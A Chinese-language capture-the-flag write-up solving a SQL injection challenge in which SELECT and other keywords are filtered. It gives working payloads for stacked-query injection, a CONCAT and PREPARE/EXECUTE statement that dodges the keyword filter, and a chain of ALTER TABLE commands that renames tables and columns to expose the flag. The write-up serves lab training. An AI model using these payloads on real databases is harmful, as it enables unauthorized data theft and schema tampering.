在输入框提交后浏览器自动进行URL编码。若在hackbar中,则需要手动进行URL编码。
尝试: 1’ –
显示结果
于是修改为 1’#
显示:
正常情况下输入
一: 1
二: 1' and 1=1
三: 1'and 1=2
若一、二、三都为真,则存在注入点。
经测试,存在注入点。
然后 通过order by
测试一共有多少列。
经过测试,一共又两列。
然后输入1' union select database(),user() #
显示:
发现对select、update、delete、drop、insert、where、. ,这些字符和单词进行了过滤。
尝试绕过:
1.将select改为SElect
2.select 改为 sele/**/ct
3.select 改为 sele%ct
三种情况发现都无法进行绕过
于是考虑堆叠注入。
输入1';show tables;
成功。
显示表的内容,然后进行查看表的列数。
分别输入
1'; show columns from
` 1919810931114514
` ; #
1'; show columns from
` words
` ; #
然后大致了解情况,看到flag在1919810931114514表中,
于是通过预编译查看,预编译主要代码如下:
Set @sql = CONCAT('se','lect * from `1919810931114514`;');
Prepare stmt from @sql;
EXECUTE stmt;
输入1’;Set @sql = CONCAT(‘se’,‘lect * from `
1919810931114514
`;’); Prepare stmt from @sql; EXECUTE stmt; #
看到flag。
第二种方法
绕过select还有第二个方法,更改表名列名。通过上面的表的列数可以大致猜到查询的表为words,我们将表1919810931114514名字改为words,flag列名字改为id,那么就能得到flag的内容了。
修改表名和列名的语法如下:
修改表名(将表名user改为users)
alter table user rename to users;
修改列名(将字段名username改为name)
alter table users change uesrname name varchar(30);
最终payload如下:
输入:
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
拆分开来如下
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
#
然后在输入框输入1即可查询出flag
- 参考师傅文章:参考